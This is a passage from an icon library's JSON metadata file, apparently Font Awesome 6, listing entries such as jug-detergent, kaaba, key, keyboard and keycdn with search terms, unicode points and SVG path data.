        "path": "M510.634 237.462c-4.727-2.621-5.664-5.748-6.381-10.776-2.352-16.488-3.539-33.619-9.097-49.095-35.895-99.957-153.99-143.386-246.849-91.646-27.37 15.25-48.971 36.369-65.493 63.903-3.184-1.508-5.458-2.71-7.824-3.686-30.102-12.421-59.049-10.121-85.331 9.167-25.531 18.737-36.422 44.548-32.676 76.408.355 3.025-1.967 7.621-4.514 9.545-39.712 29.992-56.031 78.065-41.902 124.615 13.831 45.569 57.514 79.796 105.608 81.433 30.291 1.031 60.637.546 90.959.539 84.041-.021 168.09.531 252.12-.48 52.664-.634 96.108-36.873 108.212-87.293 11.54-48.074-11.144-97.3-56.832-122.634zm21.107 156.88c-18.23 22.432-42.343 35.253-71.28 35.65-56.874.781-113.767.23-170.652.23 0 .7-163.028.159-163.728.154-43.861-.332-76.739-19.766-95.175-59.995-18.902-41.245-4.004-90.848 34.186-116.106 9.182-6.073 12.505-11.566 10.096-23.136-5.49-26.361 4.453-47.956 26.42-62.981 22.987-15.723 47.422-16.146 72.034-3.083 10.269 5.45 14.607 11.564 22.198-2.527 14.222-26.399 34.557-46.727 60.671-61.294 97.46-54.366 228.37 7.568 230.24 132.697.122 8.15 2.412 12.428 9.848 15.894 57.56 26.829 74.456 96.122 35.142 144.497zm-87.789-80.499c-5.848 31.157-34.622 55.096-66.666 55.095-16.953-.001-32.058-6.545-44.079-17.705-27.697-25.713-71.141-74.98-95.937-93.387-20.056-14.888-41.99-12.333-60.272 3.782-49.996 44.071 15.859 121.775 67.063 77.188 4.548-3.96 7.84-9.543 12.744-12.844 8.184-5.509 20.766-.884 13.168 10.622-17.358 26.284-49.33 38.197-78.863 29.301-28.897-8.704-48.84-35.968-48.626-70.179 1.225-22.485 12.364-43.06 35.414-55.965 22.575-12.638 46.369-13.146 66.991 2.474C295.68 280.7 320.467 323.97 352.185 343.47c24.558 15.099 54.254 7.363 68.823-17.506 28.83-49.209-34.592-105.016-78.868-63.46-3.989 3.744-6.917 8.932-11.41 11.72-10.975 6.811-17.333-4.113-12.809-10.353 20.703-28.554 50.464-40.44 83.271-28.214 31.429 11.714 49.108 44.366 42.76 78.186z"
      }
    },
    "free": ["brands"]
  },
  "jug-detergent": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["detergent", "laundry", "soap", "wash"]
    },
    "styles": ["solid"],
    "unicode": "e519",
    "label": "Jug Detergent",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767441,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M96 24c0-13.3 10.7-24 24-24h80c13.3 0 24 10.7 24 24V48h8c13.3 0 24 10.7 24 24s-10.7 24-24 24H88C74.7 96 64 85.3 64 72s10.7-24 24-24h8V24zM0 256c0-70.7 57.3-128 128-128H256c70.7 0 128 57.3 128 128V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V256zm256 0v96c0 17.7 14.3 32 32 32s32-14.3 32-32V256c0-17.7-14.3-32-32-32s-32 14.3-32 32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M96 24c0-13.3 10.7-24 24-24h80c13.3 0 24 10.7 24 24V48h8c13.3 0 24 10.7 24 24s-10.7 24-24 24H88C74.7 96 64 85.3 64 72s10.7-24 24-24h8V24zM0 256c0-70.7 57.3-128 128-128H256c70.7 0 128 57.3 128 128V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V256zm256 0v96c0 17.7 14.3 32 32 32s32-14.3 32-32V256c0-17.7-14.3-32-32-32s-32 14.3-32 32z"
      }
    },
    "free": ["solid"]
  },
  "k": {
    "aliases": {
      "unicodes": {
        "composite": ["6b"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter K", "Latin Small Letter K", "letter"]
    },
    "styles": ["solid"],
    "unicode": "4b",
    "label": "K",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M311 86.3c12.3-12.7 12-32.9-.7-45.2s-32.9-12-45.2 .7l-155.2 160L64 249V64c0-17.7-14.3-32-32-32S0 46.3 0 64V328 448c0 17.7 14.3 32 32 32s32-14.3 32-32V341l64.7-66.7 133 192c10.1 14.5 30 18.1 44.5 8.1s18.1-30 8.1-44.5L174.1 227.4 311 86.3z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M311 86.3c12.3-12.7 12-32.9-.7-45.2s-32.9-12-45.2 .7l-155.2 160L64 249V64c0-17.7-14.3-32-32-32S0 46.3 0 64V328 448c0 17.7 14.3 32 32 32s32-14.3 32-32V341l64.7-66.7 133 192c10.1 14.5 30 18.1 44.5 8.1s18.1-30 8.1-44.5L174.1 227.4 311 86.3z"
      }
    },
    "free": ["solid"]
  },
  "kaaba": {
    "aliases": {
      "unicodes": {
        "composite": ["1f54b"],
        "secondary": ["10f66b"]
      }
    },
    "changes": [
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Muslim",
        "building",
        "cube",
        "islam",
        "kaaba",
        "muslim",
        "religion"
      ]
    },
    "styles": ["solid"],
    "unicode": "f66b",
    "label": "Kaaba",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M60 120l228 71.2L516 120 288 48.8 60 120zM278.5 1.5c6.2-1.9 12.9-1.9 19.1 0l256 80C566.9 85.6 576 98 576 112v16 0 21.2L292.8 237.7c-3.1 1-6.4 1-9.5 0L0 149.2V128 112C0 98 9.1 85.6 22.5 81.5l256-80zm23.9 266.8L576 182.8v46.5l-52.8 16.5c-8.4 2.6-13.1 11.6-10.5 20s11.6 13.1 20 10.5L576 262.8V400c0 14-9.1 26.4-22.5 30.5l-256 80c-6.2 1.9-12.9 1.9-19.1 0l-256-80C9.1 426.4 0 414 0 400V262.8l43.2 13.5c8.4 2.6 17.4-2.1 20-10.5s-2.1-17.4-10.5-20L0 229.2V182.8l273.7 85.5c9.3 2.9 19.3 2.9 28.6 0zm-185.5-2.6c-8.4-2.6-17.4 2.1-20 10.5s2.1 17.4 10.5 20l64 20c8.4 2.6 17.4-2.1 20-10.5s-2.1-17.4-10.5-20l-64-20zm352 30.5c8.4-2.6 13.1-11.6 10.5-20s-11.6-13.1-20-10.5l-64 20c-8.4 2.6-13.1 11.6-10.5 20s11.6 13.1 20 10.5l64-20zm-224 9.5c-8.4-2.6-17.4 2.1-20 10.5s2.1 17.4 10.5 20l38.5 12c9.3 2.9 19.3 2.9 28.6 0l38.5-12c8.4-2.6 13.1-11.6 10.5-20s-11.6-13.1-20-10.5l-38.5 12c-3.1 1-6.4 1-9.5 0l-38.5-12z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M60 120l228 71.2L516 120 288 48.8 60 120zM278.5 1.5c6.2-1.9 12.9-1.9 19.1 0l256 80C566.9 85.6 576 98 576 112v16 0 21.2L292.8 237.7c-3.1 1-6.4 1-9.5 0L0 149.2V128 112C0 98 9.1 85.6 22.5 81.5l256-80zm23.9 266.8L576 182.8v46.5l-52.8 16.5c-8.4 2.6-13.1 11.6-10.5 20s11.6 13.1 20 10.5L576 262.8V400c0 14-9.1 26.4-22.5 30.5l-256 80c-6.2 1.9-12.9 1.9-19.1 0l-256-80C9.1 426.4 0 414 0 400V262.8l43.2 13.5c8.4 2.6 17.4-2.1 20-10.5s-2.1-17.4-10.5-20L0 229.2V182.8l273.7 85.5c9.3 2.9 19.3 2.9 28.6 0zm-185.5-2.6c-8.4-2.6-17.4 2.1-20 10.5s2.1 17.4 10.5 20l64 20c8.4 2.6 17.4-2.1 20-10.5s-2.1-17.4-10.5-20l-64-20zm352 30.5c8.4-2.6 13.1-11.6 10.5-20s-11.6-13.1-20-10.5l-64 20c-8.4 2.6-13.1 11.6-10.5 20s11.6 13.1 20 10.5l64-20zm-224 9.5c-8.4-2.6-17.4 2.1-20 10.5s2.1 17.4 10.5 20l38.5 12c9.3 2.9 19.3 2.9 28.6 0l38.5-12c8.4-2.6 13.1-11.6 10.5-20s-11.6-13.1-20-10.5l-38.5 12c-3.1 1-6.4 1-9.5 0l-38.5-12z"
      }
    },
    "free": ["solid"]
  },
  "kaggle": {
    "changes": ["5.2.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f5fa",
    "label": "Kaggle",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M304.2 501.5L158.4 320.3 298.2 185c2.6-2.7 1.7-10.5-5.3-10.5h-69.2c-3.5 0-7 1.8-10.5 5.3L80.9 313.5V7.5q0-7.5-7.5-7.5H21.5Q14 0 14 7.5v497q0 7.5 7.5 7.5h51.9q7.5 0 7.5-7.5v-109l30.8-29.3 110.5 140.6c3 3.5 6.5 5.3 10.5 5.3h66.9q5.25 0 6-3z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M304.2 501.5L158.4 320.3 298.2 185c2.6-2.7 1.7-10.5-5.3-10.5h-69.2c-3.5 0-7 1.8-10.5 5.3L80.9 313.5V7.5q0-7.5-7.5-7.5H21.5Q14 0 14 7.5v497q0 7.5 7.5 7.5h51.9q7.5 0 7.5-7.5v-109l30.8-29.3 110.5 140.6c3 3.5 6.5 5.3 10.5 5.3h66.9q5.25 0 6-3z"
      }
    },
    "free": ["brands"]
  },
  "key": {
    "aliases": {
      "unicodes": {
        "composite": ["1f511"],
        "secondary": ["10f084"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["key", "lock", "password", "private", "secret", "unlock"]
    },
    "styles": ["solid"],
    "unicode": "f084",
    "label": "Key",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M336 352c97.2 0 176-78.8 176-176S433.2 0 336 0S160 78.8 160 176c0 18.7 2.9 36.8 8.3 53.7L7 391c-4.5 4.5-7 10.6-7 17v80c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V448h40c13.3 0 24-10.7 24-24V384h40c6.4 0 12.5-2.5 17-7l33.3-33.3c16.9 5.4 35 8.3 53.7 8.3zM376 96a40 40 0 1 1 0 80 40 40 0 1 1 0-80z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M336 352c97.2 0 176-78.8 176-176S433.2 0 336 0S160 78.8 160 176c0 18.7 2.9 36.8 8.3 53.7L7 391c-4.5 4.5-7 10.6-7 17v80c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V448h40c13.3 0 24-10.7 24-24V384h40c6.4 0 12.5-2.5 17-7l33.3-33.3c16.9 5.4 35 8.3 53.7 8.3zM376 96a40 40 0 1 1 0 80 40 40 0 1 1 0-80z"
      }
    },
    "free": ["solid"]
  },
  "keybase": {
    "changes": ["5.0.11", "5.8.0", "5.10.2", "5.11.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4f5",
    "label": "Keybase",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M286.17 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18zm111.92-147.6c-9.5-14.62-39.37-52.45-87.26-73.71q-9.1-4.06-18.38-7.27a78.43 78.43 0 0 0-47.88-104.13c-12.41-4.1-23.33-6-32.41-5.77-.6-2-1.89-11 9.4-35L198.66 32l-5.48 7.56c-8.69 12.06-16.92 23.55-24.34 34.89a51 51 0 0 0-8.29-1.25c-41.53-2.45-39-2.33-41.06-2.33-50.61 0-50.75 52.12-50.75 45.88l-2.36 36.68c-1.61 27 19.75 50.21 47.63 51.85l8.93.54a214 214 0 0 0-46.29 35.54C14 304.66 14 374 14 429.77v33.64l23.32-29.8a148.6 148.6 0 0 0 14.56 37.56c5.78 10.13 14.87 9.45 19.64 7.33 4.21-1.87 10-6.92 3.75-20.11a178.29 178.29 0 0 1-15.76-53.13l46.82-59.83-24.66 74.11c58.23-42.4 157.38-61.76 236.25-38.59 34.2 10.05 67.45.69 84.74-23.84.72-1 1.2-2.16 1.85-3.22a156.09 156.09 0 0 1 2.8 28.43c0 23.3-3.69 52.93-14.88 81.64-2.52 6.46 1.76 14.5 8.6 15.74 7.42 1.57 15.33-3.1 18.37-11.15C429 443 434 414 434 382.32c0-38.58-13-77.46-35.91-110.92zM142.37 128.58l-15.7-.93-1.39 21.79 13.13.78a93 93 0 0 0 .32 19.57l-22.38-1.34a12.28 12.28 0 0 1-11.76-12.79L107 119c1-12.17 13.87-11.27 13.26-11.32l29.11 1.73a144.35 144.35 0 0 0-7 19.17zm148.42 172.18a10.51 10.51 0 0 1-14.35-1.39l-9.68-11.49-34.42 27a8.09 8.09 0 0 1-11.13-1.08l-15.78-18.64a7.38 7.38 0 0 1 1.34-10.34l34.57-27.18-14.14-16.74-17.09 13.45a7.75 7.75 0 0 1-10.59-1s-3.72-4.42-3.8-4.53a7.38 7.38 0 0 1 1.37-10.34L214 225.19s-18.51-22-18.6-22.14a9.56 9.56 0 0 1 1.74-13.42 10.38 10.38 0 0 1 14.3 1.37l81.09 96.32a9.58 9.58 0 0 1-1.74 13.44zM187.44 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M286.17 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18zm111.92-147.6c-9.5-14.62-39.37-52.45-87.26-73.71q-9.1-4.06-18.38-7.27a78.43 78.43 0 0 0-47.88-104.13c-12.41-4.1-23.33-6-32.41-5.77-.6-2-1.89-11 9.4-35L198.66 32l-5.48 7.56c-8.69 12.06-16.92 23.55-24.34 34.89a51 51 0 0 0-8.29-1.25c-41.53-2.45-39-2.33-41.06-2.33-50.61 0-50.75 52.12-50.75 45.88l-2.36 36.68c-1.61 27 19.75 50.21 47.63 51.85l8.93.54a214 214 0 0 0-46.29 35.54C14 304.66 14 374 14 429.77v33.64l23.32-29.8a148.6 148.6 0 0 0 14.56 37.56c5.78 10.13 14.87 9.45 19.64 7.33 4.21-1.87 10-6.92 3.75-20.11a178.29 178.29 0 0 1-15.76-53.13l46.82-59.83-24.66 74.11c58.23-42.4 157.38-61.76 236.25-38.59 34.2 10.05 67.45.69 84.74-23.84.72-1 1.2-2.16 1.85-3.22a156.09 156.09 0 0 1 2.8 28.43c0 23.3-3.69 52.93-14.88 81.64-2.52 6.46 1.76 14.5 8.6 15.74 7.42 1.57 15.33-3.1 18.37-11.15C429 443 434 414 434 382.32c0-38.58-13-77.46-35.91-110.92zM142.37 128.58l-15.7-.93-1.39 21.79 13.13.78a93 93 0 0 0 .32 19.57l-22.38-1.34a12.28 12.28 0 0 1-11.76-12.79L107 119c1-12.17 13.87-11.27 13.26-11.32l29.11 1.73a144.35 144.35 0 0 0-7 19.17zm148.42 172.18a10.51 10.51 0 0 1-14.35-1.39l-9.68-11.49-34.42 27a8.09 8.09 0 0 1-11.13-1.08l-15.78-18.64a7.38 7.38 0 0 1 1.34-10.34l34.57-27.18-14.14-16.74-17.09 13.45a7.75 7.75 0 0 1-10.59-1s-3.72-4.42-3.8-4.53a7.38 7.38 0 0 1 1.37-10.34L214 225.19s-18.51-22-18.6-22.14a9.56 9.56 0 0 1 1.74-13.42 10.38 10.38 0 0 1 14.3 1.37l81.09 96.32a9.58 9.58 0 0 1-1.74 13.44zM187.44 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18z"
      }
    },
    "free": ["brands"]
  },
  "keyboard": {
    "aliases": {
      "unicodes": {
        "composite": ["2328"],
        "secondary": ["10f11c"]
      }
    },
    "changes": ["3.1.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "accessory",
        "computer",
        "edit",
        "input",
        "keyboard",
        "text",
        "type",
        "write"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f11c",
    "label": "Keyboard",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H64zm16 64h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm16 80h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zm80-176c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V144zm16 80h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zM160 336c0-8.8 7.2-16 16-16H400c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V336zM272 128h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16zM256 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM368 128h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16zM352 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V240zM464 128h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H464c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16zM448 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H464c-8.8 0-16-7.2-16-16V240zm16 80h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H464c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H64zm16 64h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm16 80h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zm80-176c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V144zm16 80h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zM160 336c0-8.8 7.2-16 16-16H400c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V336zM272 128h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16zM256 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM368 128h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16zM352 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V240zM464 128h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H464c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16zM448 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H464c-8.8 0-16-7.2-16-16V240zm16 80h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H464c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16z"
      },
      "regular": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 112c-8.8 0-16 7.2-16 16V384c0 8.8 7.2 16 16 16H512c8.8 0 16-7.2 16-16V128c0-8.8-7.2-16-16-16H64zM0 128C0 92.7 28.7 64 64 64H512c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128zM176 320H400c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zm-72-72c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H120c-8.8 0-16-7.2-16-16V248zm16-96h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H120c-8.8 0-16-7.2-16-16V168c0-8.8 7.2-16 16-16zm64 96c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H200c-8.8 0-16-7.2-16-16V248zm16-96h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H200c-8.8 0-16-7.2-16-16V168c0-8.8 7.2-16 16-16zm64 96c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H280c-8.8 0-16-7.2-16-16V248zm16-96h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H280c-8.8 0-16-7.2-16-16V168c0-8.8 7.2-16 16-16zm64 96c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H360c-8.8 0-16-7.2-16-16V248zm16-96h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H360c-8.8 0-16-7.2-16-16V168c0-8.8 7.2-16 16-16zm64 96c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H440c-8.8 0-16-7.2-16-16V248zm16-96h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H440c-8.8 0-16-7.2-16-16V168c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 112c-8.8 0-16 7.2-16 16V384c0 8.8 7.2 16 16 16H512c8.8 0 16-7.2 16-16V128c0-8.8-7.2-16-16-16H64zM0 128C0 92.7 28.7 64 64 64H512c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128zM176 320H400c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zm-72-72c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H120c-8.8 0-16-7.2-16-16V248zm16-96h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H120c-8.8 0-16-7.2-16-16V168c0-8.8 7.2-16 16-16zm64 96c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H200c-8.8 0-16-7.2-16-16V248zm16-96h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H200c-8.8 0-16-7.2-16-16V168c0-8.8 7.2-16 16-16zm64 96c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H280c-8.8 0-16-7.2-16-16V248zm16-96h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H280c-8.8 0-16-7.2-16-16V168c0-8.8 7.2-16 16-16zm64 96c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H360c-8.8 0-16-7.2-16-16V248zm16-96h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H360c-8.8 0-16-7.2-16-16V168c0-8.8 7.2-16 16-16zm64 96c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H440c-8.8 0-16-7.2-16-16V248zm16-96h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H440c-8.8 0-16-7.2-16-16V168c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["regular", "solid"]
  },
  "keycdn": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3ba",
    "label": "KeyCDN",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M63.8 409.3l60.5-59c32.1 42.8 71.1 66 126.6 67.4 30.5.7 60.3-7 86.4-22.4 5.1 5.3 18.5 19.5 20.9 22-32.2 20.7-69.6 31.1-108.1 30.2-43.3-1.1-84.6-16.7-117.7-44.4.3-.6-38.2 37.5-38.6 37.9 9.5 29.8-13.1 62.4-46.3 62.4C20.7 503.3 0 481.7 0 454.9c0-34.3 33.1-56.6 63.8-45.6zm354.9-252.4c19.1 31.3 29.6 67.4 28.7 104-1.1 44.8-19 87.5-48.6 121 .3.3 23.8 25.2 24.1 25.5 9.6-1.3 19.2 2 25.9 9.1 11.3 12 10.9 30.9-1.1 42.4-12 11.3-30.9 10.9-42.4-1.1-6.7-7-9.4-16.8-7.6-26.3-24.9-26.6-44.4-47.2-44.4-47.2 42.7-34.1 63.3-79.6 64.4-124.2.7-28.9-7.2-57.2-21.1-82.2l22.1-21zM104 53.1c6.7 7 9.4 16.8 7.6 26.3l45.9 48.1c-4.7 3.8-13.3 10.4-22.8 21.3-25.4 28.5-39.6 64.8-40.7 102.9-.7 28.9 6.1 57.2 20 82.4l-22 21.5C72.7 324 63.1 287.9 64.2 250.9c1-44.6 18.3-87.6 47.5-121.1l-25.3-26.4c-9.6 1.3-19.2-2-25.9-9.1-11.3-12-10.9-30.9 1.1-42.4C73.5 40.7 92.2 41 104 53.1zM464.9 8c26 0 47.1 22.4 47.1 48.3S490.9 104 464.9 104c-6.3.1-14-1.1-15.9-1.8l-62.9 59.7c-32.7-43.6-76.7-65.9-126.9-67.2-30.5-.7-60.3 6.8-86.2 22.4l-21.1-22C184.1 74.3 221.5 64 260 64.9c43.3 1.1 84.6 16.7 117.7 44.6l41.1-38.6c-1.5-4.7-2.2-9.6-2.2-14.5C416.5 29.7 438.9 8 464.9 8zM256.7 113.4c5.5 0 10.9.4 16.4 1.1 78.1 9.8 133.4 81.1 123.8 159.1-9.8 78.1-81.1 133.4-159.1 123.8-78.1-9.8-133.4-81.1-123.8-159.2 9.3-72.4 70.1-124.6 142.7-124.8zm-59 119.4c.6 22.7 12.2 41.8 32.4 52.2l-11 51.7h73.7l-11-51.7c20.1-10.9 32.1-29 32.4-52.2-.4-32.8-25.8-57.5-58.3-58.3-32.1.8-57.3 24.8-58.2 58.3zM256 160\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M63.8 409.3l60.5-59c32.1 42.8 71.1 66 126.6 67.4 30.5.7 60.3-7 86.4-22.4 5.1 5.3 18.5 19.5 20.9 22-32.2 20.7-69.6 31.1-108.1 30.2-43.3-1.1-84.6-16.7-117.7-44.4.3-.6-38.2 37.5-38.6 37.9 9.5 29.8-13.1 62.4-46.3 62.4C20.7 503.3 0 481.7 0 454.9c0-34.3 33.1-56.6 63.8-45.6zm354.9-252.4c19.1 31.3 29.6 67.4 28.7 104-1.1 44.8-19 87.5-48.6 121 .3.3 23.8 25.2 24.1 25.5 9.6-1.3 19.2 2 25.9 9.1 11.3 12 10.9 30.9-1.1 42.4-12 11.3-30.9 10.9-42.4-1.1-6.7-7-9.4-16.8-7.6-26.3-24.9-26.6-44.4-47.2-44.4-47.2 42.7-34.1 63.3-79.6 64.4-124.2.7-28.9-7.2-57.2-21.1-82.2l22.1-21zM104 53.1c6.7 7 9.4 16.8 7.6 26.3l45.9 48.1c-4.7 3.8-13.3 10.4-22.8 21.3-25.4 28.5-39.6 64.8-40.7 102.9-.7 28.9 6.1 57.2 20 82.4l-22 